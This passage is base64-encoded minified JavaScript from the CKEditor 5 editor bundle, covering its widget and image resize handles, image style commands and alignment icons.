idXBkYXRlU2l6ZSIpO3RoaXMub24oImNvbW1pdCIsKHQ9PntpZighdGhpcy5zdGF0ZS5wcm9wb3NlZFdpZHRoJiYhdGhpcy5zdGF0ZS5wcm9wb3NlZFdpZHRoUGVyY2VudHMpe3RoaXMuX2NsZWFudXAoKTt0LnN0b3AoKX19KSx7cHJpb3JpdHk6ImhpZ2gifSk7dGhpcy5vbigiY2hhbmdlOmlzRW5hYmxlZCIsKCgpPT57aWYodGhpcy5pc0VuYWJsZWQpe3RoaXMucmVkcmF3KCl9fSkpfWF0dGFjaCgpe2NvbnN0IHQ9dGhpcztjb25zdCBlPXRoaXMuX29wdGlvbnMudmlld0VsZW1lbnQ7Y29uc3Qgbj10aGlzLl9vcHRpb25zLmVkaXRvci5lZGl0aW5nLnZpZXc7bi5jaGFuZ2UoKG49Pntjb25zdCBpPW4uY3JlYXRlVUlFbGVtZW50KCJkaXYiLHtjbGFzczoiY2sgY2stcmVzZXRfYWxsIGNrLXdpZGdldF9fcmVzaXplciJ9LChmdW5jdGlvbihlKXtjb25zdCBuPXRoaXMudG9Eb21FbGVtZW50KGUpO3QuX2FwcGVuZEhhbmRsZXMobik7dC5fYXBwZW5kU2l6ZVVJKG4pO3QuX2RvbVJlc2l6ZXJXcmFwcGVyPW47dC5vbigiY2hhbmdlOmlzRW5hYmxlZCIsKCh0LGUsaSk9PntuLnN0eWxlLmRpc3BsYXk9aT8iIjoibm9uZSJ9KSk7bi5zdHlsZS5kaXNwbGF5PXQuaXNFbmFibGVkPyIiOiJub25lIjtyZXR1cm4gbn0pKTtuLmluc2VydChuLmNyZWF0ZVBvc2l0aW9uQXQoZSwiZW5kIiksaSk7bi5hZGRDbGFzcygiY2std2lkZ2V0X3dpdGgtcmVzaXplciIsZSk7dGhpcy5fdmlld1Jlc2l6ZXJXcmFwcGVyPWl9KSl9YmVnaW4odCl7dGhpcy5zdGF0ZT1uZXcgX3godGhpcy5fb3B0aW9ucyk7dGhpcy5fc2l6ZVVJLmJpbmRUb1N0YXRlKHRoaXMuX29wdGlvbnMsdGhpcy5zdGF0ZSk7dGhpcy5faW5pdGlhbFZpZXdXaWR0aD10aGlzLl9vcHRpb25zLnZpZXdFbGVtZW50LmdldFN0eWxlKCJ3aWR0aCIpO3RoaXMuc3RhdGUuYmVnaW4odCx0aGlzLl9nZXRIYW5kbGVIb3N0KCksdGhpcy5fZ2V0UmVzaXplSG9zdCgpKX11cGRhdGVTaXplKHQpe2NvbnN0IGU9dGhpcy5fcHJvcG9zZU5ld1NpemUodCk7Y29uc3Qgbj10aGlzLl9vcHRpb25zLmVkaXRvci5lZGl0aW5nLnZpZXc7bi5jaGFuZ2UoKHQ9Pntjb25zdCBuPXRoaXMuX29wdGlvbnMudW5pdHx8IiUiO2NvbnN0IGk9KG49PT0iJSI/ZS53aWR0aFBlcmNlbnRzOmUud2lkdGgpK247dC5zZXRTdHlsZSgid2lkdGgiLGksdGhpcy5fb3B0aW9ucy52aWV3RWxlbWVudCl9KSk7Y29uc3QgaT10aGlzLl9nZXRIYW5kbGVIb3N0KCk7Y29uc3Qgbz1uZXcgRWgoaSk7ZS5oYW5kbGVIb3N0V2lkdGg9TWF0aC5yb3VuZChvLndpZHRoKTtlLmhhbmRsZUhvc3RIZWlnaHQ9TWF0aC5yb3VuZChvLmhlaWdodCk7Y29uc3Qgcj1uZXcgRWgoaSk7ZS53aWR0aD1NYXRoLnJvdW5kKHIud2lkdGgpO2UuaGVpZ2h0PU1hdGgucm91bmQoci5oZWlnaHQpO3RoaXMucmVkcmF3KG8pO3RoaXMuc3RhdGUudXBkYXRlKGUpfWNvbW1pdCgpe2NvbnN0IHQ9dGhpcy5fb3B0aW9ucy51bml0fHwiJSI7Y29uc3QgZT0odD09PSIlIj90aGlzLnN0YXRlLnByb3Bvc2VkV2lkdGhQZXJjZW50czp0aGlzLnN0YXRlLnByb3Bvc2VkV2lkdGgpK3Q7dGhpcy5fb3B0aW9ucy5lZGl0b3IuZWRpdGluZy52aWV3LmNoYW5nZSgoKCk9Pnt0aGlzLl9jbGVhbnVwKCk7dGhpcy5fb3B0aW9ucy5vbkNvbW1pdChlKX0pKX1jYW5jZWwoKXt0aGlzLl9jbGVhbnVwKCl9ZGVzdHJveSgpe3RoaXMuY2FuY2VsKCl9cmVkcmF3KHQpe2NvbnN0IGU9dGhpcy5fZG9tUmVzaXplcldyYXBwZXI7aWYoIU54KGUpKXtyZXR1cm59Y29uc3Qgbj1lLnBhcmVudEVsZW1lbnQ7Y29uc3QgaT10aGlzLl9nZXRIYW5kbGVIb3N0KCk7Y29uc3Qgbz10aGlzLl92aWV3UmVzaXplcldyYXBwZXI7Y29uc3Qgcj1bby5nZXRTdHlsZSgid2lkdGgiKSxvLmdldFN0eWxlKCJoZWlnaHQiKSxvLmdldFN0eWxlKCJsZWZ0Iiksby5nZXRTdHlsZSgidG9wIildO2xldCBzO2lmKG4uaXNTYW1lTm9kZShpKSl7Y29uc3QgZT10fHxuZXcgRWgoaSk7cz1bZS53aWR0aCsicHgiLGUuaGVpZ2h0KyJweCIsdW5kZWZpbmVkLHVuZGVmaW5lZF19ZWxzZXtzPVtpLm9mZnNldFdpZHRoKyJweCIsaS5vZmZzZXRIZWlnaHQrInB4IixpLm9mZnNldExlZnQrInB4IixpLm9mZnNldFRvcCsicHgiXX1pZihMcyhyLHMpIT09InNhbWUiKXt0aGlzLl9vcHRpb25zLmVkaXRvci5lZGl0aW5nLnZpZXcuY2hhbmdlKCh0PT57dC5zZXRTdHlsZSh7d2lkdGg6c1swXSxoZWlnaHQ6c1sxXSxsZWZ0OnNbMl0sdG9wOnNbM119LG8pfSkpfX1jb250YWluc0hhbmRsZSh0KXtyZXR1cm4gdGhpcy5fZG9tUmVzaXplcldyYXBwZXIuY29udGFpbnModCl9c3RhdGljIGlzUmVzaXplSGFuZGxlKHQpe3JldHVybiB0LmNsYXNzTGlzdC5jb250YWlucygiY2std2lkZ2V0X19yZXNpemVyX19oYW5kbGUiKX1fY2xlYW51cCgpe3RoaXMuX3NpemVVSS5kaXNtaXNzKCk7dGhpcy5fc2l6ZVVJLmlzVmlzaWJsZT1mYWxzZTtjb25zdCB0PXRoaXMuX29wdGlvbnMuZWRpdG9yLmVkaXRpbmcudmlldzt0LmNoYW5nZSgodD0+e3Quc2V0U3R5bGUoIndpZHRoIix0aGlzLl9pbml0aWFsVmlld1dpZHRoLHRoaXMuX29wdGlvbnMudmlld0VsZW1lbnQpfSkpfV9wcm9wb3NlTmV3U2l6ZSh0KXtjb25zdCBlPXRoaXMuc3RhdGU7Y29uc3Qgbj1JeCh0KTtjb25zdCBpPXRoaXMuX29wdGlvbnMuaXNDZW50ZXJlZD90aGlzLl9vcHRpb25zLmlzQ2VudGVyZWQodGhpcyk6dHJ1ZTtjb25zdCBvPXt4OmUuX3JlZmVyZW5jZUNvb3JkaW5hdGVzLngtKG4ueCtlLm9yaWdpbmFsV2lkdGgpLHk6bi55LWUub3JpZ2luYWxIZWlnaHQtZS5fcmVmZXJlbmNlQ29vcmRpbmF0ZXMueX07aWYoaSYmZS5hY3RpdmVIYW5kbGVQb3NpdGlvbi5lbmRzV2l0aCgiLXJpZ2h0Iikpe28ueD1uLngtKGUuX3JlZmVyZW5jZUNvb3JkaW5hdGVzLngrZS5vcmlnaW5hbFdpZHRoKX1pZihpKXtvLngqPTJ9Y29uc3Qgcj17d2lkdGg6TWF0aC5hYnMoZS5vcmlnaW5hbFdpZHRoK28ueCksaGVpZ2h0Ok1hdGguYWJzKGUub3JpZ2luYWxIZWlnaHQrby55KX07ci5kb21pbmFudD1yLndpZHRoL2UuYXNwZWN0UmF0aW8+ci5oZWlnaHQ/IndpZHRoIjoiaGVpZ2h0IjtyLm1heD1yW3IuZG9taW5hbnRdO2NvbnN0IHM9e3dpZHRoOnIud2lkdGgsaGVpZ2h0OnIuaGVpZ2h0fTtpZihyLmRvbWluYW50PT0id2lkdGgiKXtzLmhlaWdodD1zLndpZHRoL2UuYXNwZWN0UmF0aW99ZWxzZXtzLndpZHRoPXMuaGVpZ2h0KmUuYXNwZWN0UmF0aW99cmV0dXJue3dpZHRoOk1hdGgucm91bmQocy53aWR0aCksaGVpZ2h0Ok1hdGgucm91bmQocy5oZWlnaHQpLHdpZHRoUGVyY2VudHM6TWF0aC5taW4oTWF0aC5yb3VuZChlLm9yaWdpbmFsV2lkdGhQZXJjZW50cy9lLm9yaWdpbmFsV2lkdGgqcy53aWR0aCoxMDApLzEwMCwxMDApfX1fZ2V0UmVzaXplSG9zdCgpe2NvbnN0IHQ9dGhpcy5fZG9tUmVzaXplcldyYXBwZXIucGFyZW50RWxlbWVudDtyZXR1cm4gdGhpcy5fb3B0aW9ucy5nZXRSZXNpemVIb3N0KHQpfV9nZXRIYW5kbGVIb3N0KCl7Y29uc3QgdD10aGlzLl9kb21SZXNpemVyV3JhcHBlci5wYXJlbnRFbGVtZW50O3JldHVybiB0aGlzLl9vcHRpb25zLmdldEhhbmRsZUhvc3QodCl9X2FwcGVuZEhhbmRsZXModCl7Y29uc3QgZT1bInRvcC1sZWZ0IiwidG9wLXJpZ2h0IiwiYm90dG9tLXJpZ2h0IiwiYm90dG9tLWxlZnQiXTtmb3IoY29uc3QgbiBvZiBlKXt0LmFwcGVuZENoaWxkKG5ldyB5ayh7dGFnOiJkaXYiLGF0dHJpYnV0ZXM6e2NsYXNzOmBjay13aWRnZXRfX3Jlc2l6ZXJfX2hhbmRsZSAke1R4KG4pfWB9fSkucmVuZGVyKCkpfX1fYXBwZW5kU2l6ZVVJKHQpe2NvbnN0IGU9bmV3IFN4O2UucmVuZGVyKCk7dGhpcy5fc2l6ZVVJPWU7dC5hcHBlbmRDaGlsZChlLmVsZW1lbnQpfX1fcyhNeCxKYyk7Y2xhc3MgU3ggZXh0ZW5kcyB0Yntjb25zdHJ1Y3Rvcigpe3N1cGVyKCk7Y29uc3QgdD10aGlzLmJpbmRUZW1wbGF0ZTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6ImRpdiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjayIsImNrLXNpemUtdmlldyIsdC50bygiYWN0aXZlSGFuZGxlUG9zaXRpb24iLCh0PT50P2Bjay1vcmllbnRhdGlvbi0ke3R9YDoiIikpXSxzdHlsZTp7ZGlzcGxheTp0LmlmKCJpc1Zpc2libGUiLCJub25lIiwodD0+IXQpKX19LGNoaWxkcmVuOlt7dGV4dDp0LnRvKCJsYWJlbCIpfV19KX1iaW5kVG9TdGF0ZSh0LGUpe3RoaXMuYmluZCgiaXNWaXNpYmxlIikudG8oZSwicHJvcG9zZWRXaWR0aCIsZSwicHJvcG9zZWRIZWlnaHQiLCgodCxlKT0+dCE9PW51bGwmJmUhPT1udWxsKSk7dGhpcy5iaW5kKCJsYWJlbCIpLnRvKGUsInByb3Bvc2VkSGFuZGxlSG9zdFdpZHRoIixlLCJwcm9wb3NlZEhhbmRsZUhvc3RIZWlnaHQiLGUsInByb3Bvc2VkV2lkdGhQZXJjZW50cyIsKChlLG4saSk9PntpZih0LnVuaXQ9PT0icHgiKXtyZXR1cm5gJHtlfcOXJHtufWB9ZWxzZXtyZXR1cm5gJHtpfSVgfX0pKTt0aGlzLmJpbmQoImFjdGl2ZUhhbmRsZVBvc2l0aW9uIikudG8oZSl9ZGlzbWlzcygpe3RoaXMudW5iaW5kKCk7dGhpcy5pc1Zpc2libGU9ZmFsc2V9fWZ1bmN0aW9uIFR4KHQpe3JldHVybmBjay13aWRnZXRfX3Jlc2l6ZXJfX2hhbmRsZS0ke3R9YH1mdW5jdGlvbiBJeCh0KXtyZXR1cm57eDp0LnBhZ2VYLHk6dC5wYWdlWX19ZnVuY3Rpb24gTngodCl7cmV0dXJuIHQmJnQub3duZXJEb2N1bWVudCYmdC5vd25lckRvY3VtZW50LmNvbnRhaW5zKHQpfXZhciBCeD0iRXhwZWN0ZWQgYSBmdW5jdGlvbiI7ZnVuY3Rpb24gUHgodCxlLG4pe3ZhciBpPXRydWUsbz10cnVlO2lmKHR5cGVvZiB0IT0iZnVuY3Rpb24iKXt0aHJvdyBuZXcgVHlwZUVycm9yKEJ4KX1pZihjdChuKSl7aT0ibGVhZGluZyJpbiBuPyEhbi5sZWFkaW5nOmk7bz0idHJhaWxpbmciaW4gbj8hIW4udHJhaWxpbmc6b31yZXR1cm4gYmgodCxlLHtsZWFkaW5nOmksbWF4V2FpdDplLHRyYWlsaW5nOm99KX12YXIgeng9UHg7dmFyIEx4PW4oNDApO3ZhciBPeD17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O094Lmluc2VydD0iaGVhZCI7T3guc2luZ2xldG9uPXRydWU7dmFyIFJ4PXJrKCkoTHhbImEiXSxPeCk7dmFyIGp4PUx4WyJhIl0ubG9jYWxzfHx7fTtjbGFzcyBGeCBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJXaWRnZXRSZXNpemUifWluaXQoKXt0aGlzLnNldCgidmlzaWJsZVJlc2l6ZXIiLG51bGwpO3RoaXMuc2V0KCJfYWN0aXZlUmVzaXplciIsbnVsbCk7dGhpcy5fcmVzaXplcnM9bmV3IE1hcDtjb25zdCB0PWpkLndpbmRvdy5kb2N1bWVudDt0aGlzLmVkaXRvci5tb2RlbC5zY2hlbWEuc2V0QXR0cmlidXRlUHJvcGVydGllcygid2lkdGgiLHtpc0Zvcm1hdHRpbmc6dHJ1ZX0pO3RoaXMuZWRpdG9yLmVkaXRpbmcudmlldy5hZGRPYnNlcnZlcihFdik7dGhpcy5fb2JzZXJ2ZXI9T2JqZWN0LmNyZWF0ZShKZCk7dGhpcy5saXN0ZW5Ubyh0aGlzLmVkaXRvci5lZGl0aW5nLnZpZXcuZG9jdW1lbnQsIm1vdXNlZG93biIsdGhpcy5fbW91c2VEb3duTGlzdGVuZXIuYmluZCh0aGlzKSx7cHJpb3JpdHk6ImhpZ2gifSk7dGhpcy5fb2JzZXJ2ZXIubGlzdGVuVG8odCwibW91c2Vtb3ZlIix0aGlzLl9tb3VzZU1vdmVMaXN0ZW5lci5iaW5kKHRoaXMpKTt0aGlzLl9vYnNlcnZlci5saXN0ZW5Ubyh0LCJtb3VzZXVwIix0aGlzLl9tb3VzZVVwTGlzdGVuZXIuYmluZCh0aGlzKSk7Y29uc3QgZT0oKT0+e2lmKHRoaXMudmlzaWJsZVJlc2l6ZXIpe3RoaXMudmlzaWJsZVJlc2l6ZXIucmVkcmF3KCl9fTtjb25zdCBuPXp4KGUsMjAwKTt0aGlzLm9uKCJjaGFuZ2U6dmlzaWJsZVJlc2l6ZXIiLGUpO3RoaXMuZWRpdG9yLnVpLm9uKCJ1cGRhdGUiLG4pO3RoaXMuX29ic2VydmVyLmxpc3RlblRvKGpkLndpbmRvdywicmVzaXplIixuKTtjb25zdCBpPXRoaXMuZWRpdG9yLmVkaXRpbmcudmlldy5kb2N1bWVudC5zZWxlY3Rpb247aS5vbigiY2hhbmdlIiwoKCk9Pntjb25zdCB0PWkuZ2V0U2VsZWN0ZWRFbGVtZW50KCk7dGhpcy52aXNpYmxlUmVzaXplcj10aGlzLmdldFJlc2l6ZXJCeVZpZXdFbGVtZW50KHQpfHxudWxsfSkpfWRlc3Ryb3koKXt0aGlzLl9vYnNlcnZlci5zdG9wTGlzdGVuaW5nKCk7Zm9yKGNvbnN0IHQgb2YgdGhpcy5fcmVzaXplcnMudmFsdWVzKCkpe3QuZGVzdHJveSgpfX1hdHRhY2hUbyh0KXtjb25zdCBlPW5ldyBNeCh0KTtjb25zdCBuPXRoaXMuZWRpdG9yLnBsdWdpbnM7ZS5hdHRhY2goKTtpZihuLmhhcygiV2lkZ2V0VG9vbGJhclJlcG9zaXRvcnkiKSl7Y29uc3QgdD1uLmdldCgiV2lkZ2V0VG9vbGJhclJlcG9zaXRvcnkiKTtlLm9uKCJiZWdpbiIsKCgpPT57dC5mb3JjZURpc2FibGVkKCJyZXNpemUiKX0pLHtwcmlvcml0eToibG93ZXN0In0pO2Uub24oImNhbmNlbCIsKCgpPT57dC5jbGVhckZvcmNlRGlzYWJsZWQoInJlc2l6ZSIpfSkse3ByaW9yaXR5OiJoaWdoZXN0In0pO2Uub24oImNvbW1pdCIsKCgpPT57dC5jbGVhckZvcmNlRGlzYWJsZWQoInJlc2l6ZSIpfSkse3ByaW9yaXR5OiJoaWdoZXN0In0pfXRoaXMuX3Jlc2l6ZXJzLnNldCh0LnZpZXdFbGVtZW50LGUpO2NvbnN0IGk9dGhpcy5lZGl0b3IuZWRpdGluZy52aWV3LmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBvPWkuZ2V0U2VsZWN0ZWRFbGVtZW50KCk7aWYodGhpcy5nZXRSZXNpemVyQnlWaWV3RWxlbWVudChvKT09ZSl7dGhpcy52aXNpYmxlUmVzaXplcj1lfXJldHVybiBlfWdldFJlc2l6ZXJCeVZpZXdFbGVtZW50KHQpe3JldHVybiB0aGlzLl9yZXNpemVycy5nZXQodCl9X2dldFJlc2l6ZXJCeUhhbmRsZSh0KXtmb3IoY29uc3QgZSBvZiB0aGlzLl9yZXNpemVycy52YWx1ZXMoKSl7aWYoZS5jb250YWluc0hhbmRsZSh0KSl7cmV0dXJuIGV9fX1fbW91c2VEb3duTGlzdGVuZXIodCxlKXtjb25zdCBuPWUuZG9tVGFyZ2V0O2lmKCFNeC5pc1Jlc2l6ZUhhbmRsZShuKSl7cmV0dXJufXRoaXMuX2FjdGl2ZVJlc2l6ZXI9dGhpcy5fZ2V0UmVzaXplckJ5SGFuZGxlKG4pO2lmKHRoaXMuX2FjdGl2ZVJlc2l6ZXIpe3RoaXMuX2FjdGl2ZVJlc2l6ZXIuYmVnaW4obik7dC5zdG9wKCk7ZS5wcmV2ZW50RGVmYXVsdCgpfX1fbW91c2VNb3ZlTGlzdGVuZXIodCxlKXtpZih0aGlzLl9hY3RpdmVSZXNpemVyKXt0aGlzLl9hY3RpdmVSZXNpemVyLnVwZGF0ZVNpemUoZSl9fV9tb3VzZVVwTGlzdGVuZXIoKXtpZih0aGlzLl9hY3RpdmVSZXNpemVyKXt0aGlzLl9hY3RpdmVSZXNpemVyLmNvbW1pdCgpO3RoaXMuX2FjdGl2ZVJlc2l6ZXI9bnVsbH19fV9zKEZ4LEpjKTtjbGFzcyBWeCBleHRlbmRzIG5De3N0YXRpYyBnZXQgcmVxdWlyZXMoKXtyZXR1cm5bRnhdfXN0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJJbWFnZVJlc2l6ZUhhbmRsZXMifWluaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yLmNvbW1hbmRzLmdldCgiaW1hZ2VSZXNpemUiKTt0aGlzLmJpbmQoImlzRW5hYmxlZCIpLnRvKHQpO3RoaXMuX3NldHVwUmVzaXplckNyZWF0b3IoKX1fc2V0dXBSZXNpemVyQ3JlYXRvcigpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmVkaXRpbmcudmlldztlLmFkZE9ic2VydmVyKFNfKTt0aGlzLmxpc3RlblRvKGUuZG9jdW1lbnQsImltYWdlTG9hZGVkIiwoKG4saSk9PntpZighaS50YXJnZXQubWF0Y2hlcygiZmlndXJlLmltYWdlLmNrLXdpZGdldCA+IGltZyIpKXtyZXR1cm59Y29uc3Qgbz10LmVkaXRpbmcudmlldy5kb21Db252ZXJ0ZXIuZG9tVG9WaWV3KGkudGFyZ2V0KTtjb25zdCByPW8uZmluZEFuY2VzdG9yKCJmaWd1cmUiKTtsZXQgcz10aGlzLmVkaXRvci5wbHVnaW5zLmdldChGeCkuZ2V0UmVzaXplckJ5Vmlld0VsZW1lbnQocik7aWYocyl7cy5yZWRyYXcoKTtyZXR1cm59Y29uc3QgYT10LmVkaXRpbmcubWFwcGVyO2NvbnN0IGM9YS50b01vZGVsRWxlbWVudChyKTtzPXQucGx1Z2lucy5nZXQoRngpLmF0dGFjaFRvKHt1bml0OnQuY29uZmlnLmdldCgiaW1hZ2UucmVzaXplVW5pdCIpLG1vZGVsRWxlbWVudDpjLHZpZXdFbGVtZW50OnIsZWRpdG9yOnQsZ2V0SGFuZGxlSG9zdCh0KXtyZXR1cm4gdC5xdWVyeVNlbGVjdG9yKCJpbWciKX0sZ2V0UmVzaXplSG9zdCh0KXtyZXR1cm4gdH0saXNDZW50ZXJlZCgpe2NvbnN0IHQ9Yy5nZXRBdHRyaWJ1dGUoImltYWdlU3R5bGUiKTtyZXR1cm4hdHx8dD09ImZ1bGwifHx0PT0iYWxpZ25DZW50ZXIifSxvbkNvbW1pdChlKXt0LmV4ZWN1dGUoImltYWdlUmVzaXplIix7d2lkdGg6ZX0pfX0pO3Mub24oInVwZGF0ZVNpemUiLCgoKT0+e2lmKCFyLmhhc0NsYXNzKCJpbWFnZV9yZXNpemVkIikpe2UuY2hhbmdlKCh0PT57dC5hZGRDbGFzcygiaW1hZ2VfcmVzaXplZCIscil9KSl9fSkpO3MuYmluZCgiaXNFbmFibGVkIikudG8odGhpcyl9KSl9fXZhciBVeD1uKDQxKTt2YXIgSHg9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTtIeC5pbnNlcnQ9ImhlYWQiO0h4LnNpbmdsZXRvbj10cnVlO3ZhciBHeD1yaygpKFV4WyJhIl0sSHgpO3ZhciBXeD1VeFsiYSJdLmxvY2Fsc3x8e307Y2xhc3MgS3ggZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHJlcXVpcmVzKCl7cmV0dXJuW214LFZ4LEN4XX1zdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iSW1hZ2VSZXNpemUifX1jbGFzcyBxeCBleHRlbmRzIG9De2NvbnN0cnVjdG9yKHQsZSl7c3VwZXIodCk7dGhpcy5kZWZhdWx0U3R5bGU9ZmFsc2U7dGhpcy5zdHlsZXM9ZS5yZWR1Y2UoKCh0LGUpPT57dFtlLm5hbWVdPWU7aWYoZS5pc0RlZmF1bHQpe3RoaXMuZGVmYXVsdFN0eWxlPWUubmFtZX1yZXR1cm4gdH0pLHt9KX1yZWZyZXNoKCl7Y29uc3QgdD10aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb24uZ2V0U2VsZWN0ZWRFbGVtZW50KCk7dGhpcy5pc0VuYWJsZWQ9ZnYodCk7aWYoIXQpe3RoaXMudmFsdWU9ZmFsc2V9ZWxzZSBpZih0Lmhhc0F0dHJpYnV0ZSgiaW1hZ2VTdHlsZSIpKXtjb25zdCBlPXQuZ2V0QXR0cmlidXRlKCJpbWFnZVN0eWxlIik7dGhpcy52YWx1ZT10aGlzLnN0eWxlc1tlXT9lOmZhbHNlfWVsc2V7dGhpcy52YWx1ZT10aGlzLmRlZmF1bHRTdHlsZX19ZXhlY3V0ZSh0KXtjb25zdCBlPXQudmFsdWU7Y29uc3Qgbj10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBpPW4uZG9jdW1lbnQuc2VsZWN0aW9uLmdldFNlbGVjdGVkRWxlbWVudCgpO24uY2hhbmdlKCh0PT57aWYodGhpcy5zdHlsZXNbZV0uaXNEZWZhdWx0KXt0LnJlbW92ZUF0dHJpYnV0ZSgiaW1hZ2VTdHlsZSIsaSl9ZWxzZXt0LnNldEF0dHJpYnV0ZSgiaW1hZ2VTdHlsZSIsZSxpKX19KSl9fWZ1bmN0aW9uIFl4KHQpe3JldHVybihlLG4saSk9PntpZighaS5jb25zdW1hYmxlLmNvbnN1bWUobi5pdGVtLGUubmFtZSkpe3JldHVybn1jb25zdCBvPSR4KG4uYXR0cmlidXRlTmV3VmFsdWUsdCk7Y29uc3Qgcj0keChuLmF0dHJpYnV0ZU9sZFZhbHVlLHQpO2NvbnN0IHM9aS5tYXBwZXIudG9WaWV3RWxlbWVudChuLml0ZW0pO2NvbnN0IGE9aS53cml0ZXI7aWYocil7YS5yZW1vdmVDbGFzcyhyLmNsYXNzTmFtZSxzKX1pZihvKXthLmFkZENsYXNzKG8uY2xhc3NOYW1lLHMpfX19ZnVuY3Rpb24gUXgodCl7Y29uc3QgZT10LmZpbHRlcigodD0+IXQuaXNEZWZhdWx0KSk7cmV0dXJuKHQsbixpKT0+e2lmKCFuLm1vZGVsUmFuZ2Upe3JldHVybn1jb25zdCBvPW4udmlld0l0ZW07Y29uc3Qgcj1zQyhuLm1vZGVsUmFuZ2UuZ2V0SXRlbXMoKSk7aWYoIWkuc2NoZW1hLmNoZWNrQXR0cmlidXRlKHIsImltYWdlU3R5bGUiKSl7cmV0dXJufWZvcihjb25zdCB0IG9mIGUpe2lmKGkuY29uc3VtYWJsZS5jb25zdW1lKG8se2NsYXNzZXM6dC5jbGFzc05hbWV9KSl7aS53cml0ZXIuc2V0QXR0cmlidXRlKCJpbWFnZVN0eWxlIix0Lm5hbWUscil9fX19ZnVuY3Rpb24gJHgodCxlKXtmb3IoY29uc3QgbiBvZiBlKXtpZihuLm5hbWU9PT10KXtyZXR1cm4gbn19fXZhciBKeD0nPHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTTIgNC41VjNoMTZ2MS41em0yLjUgM1YxMmgxMVY3LjVoLTExek00LjA2MSA2SDE1Ljk0Yy41ODYgMCAxLjA2MS40MDcgMS4wNjEuOTF2NS42OGMwIC41MDMtLjQ3NS45MS0xLjA2MS45MUg0LjA2Yy0uNTg1IDAtMS4wNi0uNDA3LTEuMDYtLjkxVjYuOTFDMyA2LjQwNiAzLjQ3NSA2IDQuMDYxIDZ6TTIgMTYuNVYxNWgxNnYxLjV6Ii8+PC9zdmc+Jzt2YXIgWng9Jzxzdmcgdmlld0JveD0iMCAwIDIwIDIwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIGNsaXAtcnVsZT0iZXZlbm9kZCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIgc3Ryb2tlLW1pdGVybGltaXQ9IjEuNDE0Ij48cGF0aCBkPSJNMTggNC41VjNIMnYxLjVoMTZ6bTAgM1Y2aC01LjY3NHYxLjVIMTh6bTAgM1Y5aC01LjY3NHYxLjVIMTh6bTAgM1YxMmgtNS42NzR2MS41SDE4em0tOC41LTZWMTJoLTZWNy41aDZ6bS44MTgtMS41SDIuNjgyQzIuMzA1IDYgMiA2LjQwNyAyIDYuOTF2NS42OGMwIC41MDMuMzA1LjkxLjY4Mi45MWg3LjYzNmMuMzc3IDAgLjY4Mi0uNDA3LjY4Mi0uOTFWNi45MWMwLS41MDMtLjMwNS0uOTEtLjY4Mi0uOTF6TTE4IDE2LjVWMTVIMnYxLjVoMTZ6Ii8+PC9zdmc+Jzt2YXIgWHg9Jzxzdmcgdmlld0JveD0iMCAwIDIwIDIwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Ik0yIDQuNVYzaDE2djEuNXptNC41IDNWMTJoN1Y3LjVoLTd6TTUuNzU4IDZoOC40ODRjLjQxOSAwIC43NTguNDA3Ljc1OC45MXY1LjY4MWMwIC41MDItLjM0LjkwOS0uNzU4LjkwOUg1Ljc1OGMtLjQxOSAwLS43NTgtLjQwNy0uNzU4LS45MVY2LjkxYzAtLjUwMy4zNC0uOTEuNzU4LS45MXpNMiAxNi41VjE1aDE2djEuNXoiLz48L3N2Zz4nO3ZhciB0RD0nPHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTTIgNC41VjNoMTZ2MS41em0wIDNWNmg1LjY3NHYxLjV6bTAgM1Y5aDUuNjc0djEuNXptMCAzVjEyaDUuNjc0djEuNXptOC41LTZWMTJoNlY3LjVoLTZ6TTkuNjgyIDZoNy42MzZjLjM3NyAwIC42ODIuNDA3LjY4Mi45MXY1LjY4YzAgLjUwMy0uMzA1LjkxLS42ODIuOTFIOS42ODJjLS4zNzcgMC0uNjgyLS40MDctLjY4Mi0uOTFWNi45MWMwLS41MDMuMzA1LS45MS42ODItLjkxek0yIDE2LjVWMTVoMTZ2MS41eiIvPjwvc3ZnPic7Y29uc3QgZUQ9e2Z1bGw6e25hbWU6ImZ1bGwiLHRpdGxlOiJGdWxsIHNpemUgaW1hZ2UiLGljb246SngsaXNEZWZhdWx0OnRydWV9LHNpZGU6e25hbWU6InNpZGUiLHRpdGxlOiJTaWRlIGltYWdlIixpY29uOnRELGNsYXNzTmFtZToiaW1hZ2Utc3R5bGUtc2lkZSJ9LGFsaWduTGVmdDp7bmFtZToiYWxpZ25MZWZ0Iix0aXRsZToiTGVmdCBhbGlnbmVkIGltYWdlIixpY29uOlp4LGNsYXNzTmFtZToiaW1hZ2Utc3R5bGUtYWxpZ24tbGVmdCJ9LGFsaWduQ2VudGVyOntuYW1lOiJhbGlnbkNlbnRlciIsdGl0bGU6IkNlbnRlcmVkIGltYWdlIixpY29uOlh4LGNsYXNzTmFtZToiaW1hZ2Utc3R5bGUtYWxpZ24tY2VudGVyIn0sYWxpZ25SaWdodDp7bmFtZToiYWxpZ25SaWdodCIsdGl0bGU6IlJpZ2h0IGFsaWduZWQgaW1hZ2UiLGljb246dEQsY2xhc3NOYW1lOiJpbWFnZS1zdHlsZS1hbGlnbi1yaWdodCJ9fTtjb25zdCBuRD17ZnVsbDpKeCxsZWZ0Olp4LHJpZ2h0OnRELGNlb